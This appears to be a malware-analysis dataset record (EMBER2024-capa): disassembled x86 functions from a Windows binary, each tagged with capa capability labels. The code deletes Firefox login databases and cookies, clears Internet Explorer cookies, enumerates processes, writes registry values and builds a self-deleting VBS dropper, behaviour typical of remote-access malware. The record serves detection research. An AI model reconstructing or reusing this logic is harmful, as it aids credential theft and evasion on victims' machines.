joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4077f5
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004021c9
lea ecx, [ebp - 0x48]
call fcn.004021c9
lea ecx, [ebp - 0x18]
call fcn.004021c9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402178
push eax
push 0x458774
call fcn.00431b9d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402a6d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea eax, [ebp - 0x1d0]
push eax
push 0x458734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004063b9
pop ecx
mov ecx, eax
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00402091
cmp esi, 0xffffffff
jne 0x4079bd
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402178
call fcn.00407e7f
add esp, 0x18
jmp 0x4079f1
test byte [ebp - 0x1d0], 0x10
je 0x4079bd
lea ecx, [ebp - 0x1a4]
cmp byte [ecx], 0x2e
jne 0x4078d4
movzx eax, byte [ecx + 1]
test al, al
je 0x4079bd
lea edx, [ebp - 0x1a4]
xor ecx, ecx
movzx eax, byte [edx + ecx]
mov edx, 0x458894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x1a4]
jne 0x4078fa
inc ecx
cmp ecx, 3
jne 0x4078dc
xor eax, eax
jmp 0x4078ff
sbb eax, eax
or eax, 1
test eax, eax
je 0x4079bd
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.004063b9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040401b
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x90]
call fcn.00402091
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.004063b9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040401b
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.0040209b
lea ecx, [ebp - 0x90]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4079a4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4079bd
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4078b0
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402178
call fcn.00407e7f
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407a10
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004021c9
lea ecx, [ebp - 0x18]
call fcn.004021c9
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402178
push eax
push 0x458774
call fcn.00431b9d
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00402a6d
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040209b
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
lea eax, [ebp - 0x1b8]
push eax
push 0x458734
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.004063b9
pop ecx
mov ecx, eax
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00402091
cmp esi, 0xffffffff
jne 0x407ac0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402178
call fcn.00407e7f
add esp, 0x18
jmp 0x407bba
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x407b9c
xor ebx, ebx
test byte [ebp - 0x1b8], 0x10
je 0x407b86
lea ecx, [ebp - 0x18c]
cmp byte [ecx], 0x2e
jne 0x407afc
movzx eax, byte [ecx + 1]
test al, al
je 0x407b86
lea edx, [ebp - 0x18c]
mov ecx, ebx
movzx eax, byte [edx + ecx]
mov edx, 0x458894
cmp al, byte [edx + ecx]
lea edx, [ebp - 0x18c]
jne 0x407b22
inc ecx
cmp ecx, 3
jne 0x407b04
mov eax, ebx
jmp 0x407b27
sbb eax, eax
or eax, 1
test eax, eax
je 0x407b86
lea eax, [ebp - 0x18c]
push str.cookies.sqlite
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.004063b9
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.0040401b
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040209b
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x407bdd
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x407bd4
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x407ad8
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402178
call fcn.00407e7f
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00402091
lea ecx, [ebp - 0x30]
call fcn.00402091
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x407bbc
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x407aae
Function at 0x407bec
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004021c9
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, 0x80000001
lea ecx, [ebp - 0x30]
xor bl, bl
call fcn.0040c84a
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
mov edx, 0x458594
lea ecx, [ebp - 0x18]
call fcn.00403f83
test al, al
je 0x407c59
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402178
call fcn.00407e7f
mov bl, 1
jmp 0x407cf7
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00402028
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x407c3e
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402178
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.00413821
mov ecx, eax
call fcn.00404459
mov ecx, eax
call fcn.00413d91
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.00402091
test esi, esi
je 0x407cd2
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x407c48
push ecx
push 0x4589b0
call fcn.00407e8b
test eax, eax
je 0x407cfa
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402178
call fcn.00407e7f
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00402091
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407e60
Capabilities:
Create thread

Disassembly:
xor eax, eax
push eax
push eax
push eax
push 0x407d0a
push eax
push eax
mov byte [0x464a72], al
mov dword [0x464a7c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
ret

Function at 0x408006
Capabilities:
Check mutex on windows

Disassembly:
mov ecx, 0x466f58
call fcn.00402028
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
mov eax, ecx
ret
Function at 0x4085f8
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
mov esi, 0x466f70
push edi
mov ecx, esi
call fcn.00402020
push eax
mov ecx, esi
call fcn.00402028
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x466f28
call fcn.00402028
mov edx, eax
call fcn.0040c9a2
add esp, 0x14
xor edi, edi
test al, al
jne 0x408653
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.00413550
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00413821
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00407536
pop ecx
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x48]
call fcn.00402091
lea eax, [ebp - 0x78]
push eax
push 0x4586b8
push 0x458a28
call fcn.00431b92
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407536
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.00408c43
pop ecx
lea ecx, [ebp - 0x48]
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x18]
call fcn.00405d9e
push 0x458bd0
push 0x458bd4
lea ecx, [ebp - 0xc0]
call fcn.00403509
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.00403509
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00407536
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00408bcd
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00407536
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00405cd9
lea ecx, [ebp - 0x48]
call fcn.004034ff
lea ecx, [ebp - 0x30]
call fcn.004034ff
lea ecx, [ebp - 0x90]
call fcn.004034ff
lea ecx, [ebp - 0xa8]
call fcn.004034ff
lea ecx, [ebp - 0xc0]
call fcn.004034ff
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.00405cd0
push ecx
lea ecx, [ebp - 0x60]
call fcn.00404459
push eax
lea ecx, [ebp - 0x18]
call fcn.00402020
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00404459
mov edx, esi
mov ecx, eax
call fcn.00413f84
pop ecx
pop ecx
test al, al
je 0x4087be
push edi
mov eax, 0x45862c
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00404459
push eax
push 0x4585bc
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x4087be
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.004034ff
lea ecx, [ebp - 0x60]
call fcn.004034ff
lea ecx, [ebp - 0x78]
call fcn.004034ff
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a016
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x380
push esi
push edi
mov edi, ecx
call fcn.004021c9
call fcn.00413a4e
push 0
push 2
mov byte [0x466a24], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x40a1f4
lea eax, [ebp - 0x380]
mov dword [ebp - 0x380], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x40a1d7
lea eax, [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x18]
call fcn.00403509
mov ecx, dword [ebp - 0x378]
push 0x458eec
call fcn.00413a7c
movzx edx, al
lea ecx, [ebp - 0x150]
call fcn.00413751
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x138]
push eax
push 0x458ef0
call fcn.00413751
mov edx, dword [ebp - 0x378]
lea ecx, [ebp - 0x120]
push eax
push 0x458ef0
call fcn.00413c95
mov edx, eax
lea ecx, [ebp - 0x108]
call fcn.004138e3
push eax
push 0x458ef0
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0xf0]
call fcn.004138e3
push eax
mov edx, edi
lea ecx, [ebp - 0xd8]
call fcn.00403fb4
pop ecx
mov edx, eax
lea ecx, [ebp - 0xc0]
call fcn.0040401b
pop ecx
mov edx, eax
lea ecx, [ebp - 0xa8]
call fcn.004062ff
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.0040401b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.004062ff
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.0040401b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004062ff
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.0040401b
pop ecx
push eax
mov ecx, edi
call fcn.0040209b
lea ecx, [ebp - 0x30]
call fcn.00402091
lea ecx, [ebp - 0x48]
call fcn.00402091
lea ecx, [ebp - 0x60]
call fcn.00402091
lea ecx, [ebp - 0x78]
call fcn.00402091
lea ecx, [ebp - 0x90]
call fcn.00402091
lea ecx, [ebp - 0xa8]
call fcn.00402091
lea ecx, [ebp - 0xc0]
call fcn.00402091
lea ecx, [ebp - 0xd8]
call fcn.00402091
lea ecx, [ebp - 0xf0]
call fcn.00402091
lea ecx, [ebp - 0x108]
call fcn.00402091
lea ecx, [ebp - 0x120]
call fcn.004034ff
lea ecx, [ebp - 0x138]
call fcn.00402091
lea ecx, [ebp - 0x150]
call fcn.00402091
lea ecx, [ebp - 0x18]
call fcn.004034ff
lea eax, [ebp - 0x380]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40a063
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40af97
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x40b0cd
cmp byte [edi + 0x3d], bl
je 0x40b0cd
call fcn.00402a69
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], esi
push eax
call fcn.00408ea4
pop ecx
pop ecx
test al, al
je 0x40afec
xor al, al
jmp 0x40b0cf
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.0040214e
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x28]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
lea ecx, [esp + 0x24]
mov esi, eax
call fcn.00402020
add esi, eax
lea ecx, [esp + 0x24]
push esi
lea eax, [esp + 0x14]
push eax
call fcn.00402314
mov ecx, eax
call fcn.00402cba
mov ecx, dword [edi + 0x38]
push eax
lea eax, [edi + 0x40]
push eax
call fcn.00409256
sub eax, ebx
je 0x40b054
sub eax, 1
je 0x40b057
dec eax
sub eax, 1
jne 0x40b0c0
inc eax
jmp 0x40b0be
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
mov esi, dword [esp + 0x14]
sub esi, eax
je 0x40b09c
push dword [edi + 0x4c]
lea eax, [esp + 0x20]
push esi
push 1
push eax
lea ecx, [esp + 0x30]
call fcn.00402314
mov ecx, eax
call fcn.00402cba
push eax
call fcn.00433775
add esp, 0x10
cmp esi, eax
jne 0x40b0bc
cmp byte [edi + 0x3d], bl
je 0x40b0ba
test esi, esi
jne 0x40aff8
push ebx
push 8
lea ecx, [esp + 0x28]
call fcn.00406295
jmp 0x40aff8
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x20]
call fcn.00402091
mov al, bl
jmp 0x40b0cf
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c7a3
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c7e6
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0x40c7e8
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c7ed
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c844
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40c846
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40c84a
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c8ab
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0x40c8ad
lea eax, [ebp - 0x408]
push eax
jmp 0x40c8b2
mov ecx, edi
push 0x458594
call fcn.00402178
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40c8bf
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 8]
mov esi, ecx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40c91e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push 0
push 0
push 0x458eb4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0x40c923
push 0x45862c
mov ecx, esi
call fcn.00403509
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40c931
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov edi, ecx
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
push ebx
mov esi, 0x458594
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40c991
cmp dword [ebp - 4], eax
jbe 0x40c991
push dword [ebp - 4]
call fcn.00431906
push dword [ebp - 4]
mov esi, eax
push 0
push esi
call fcn.0042e260
add esp, 0x10
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push esi
mov ecx, edi
call fcn.00403509
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c9a2
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
lea eax, [ebp - 8]
push esi
push eax
push 0x20019
xor esi, esi
push esi
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40ca12
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 8]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40ca12
push dword [ebp + 0x18]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0x14]
call fcn.00404053
push dword [ebp + 0x10]
lea ecx, [ebp - 0x40c]
push dword [ebp + 0xc]
call fcn.004040da
mov al, 1
jmp 0x40ca14
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40ca19
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40ca69
push esi
lea ecx, [ebp + 0xc]
call fcn.00402020
push eax
lea ecx, [ebp + 0xc]
call fcn.00402028
push eax
push dword [ebp + 0x24]
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40ca6b
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.00402091
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40ca7a
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cab8
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 0x14]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40caba
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x40cabe
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cb16
push esi
lea ecx, [ebp + 0xc]
call fcn.00402020
lea ecx, [ebp + 0xc]
lea eax, [eax*2 + 2]
push eax
call fcn.00404459
push eax
push 1
push 0
push str.pth_unenc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete bl
jmp 0x40cb18
xor bl, bl
lea ecx, [ebp + 0xc]
call fcn.004034ff
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40cb27
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40cb69
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cb6b
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cb6f
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cbad
push esi
push 4
lea eax, [ebp + 0xc]
push eax
push 4
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cbaf
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cbb3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x40cbf1
push esi
push 8
lea eax, [ebp + 0xc]
push eax
push 0xb
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0x40cbf3
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x40cc5b
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 2
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x40cc77
xor al, al
jmp 0x40cc89
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
neg eax
sbb al, al
inc al
mov esp, ebp
pop ebp
ret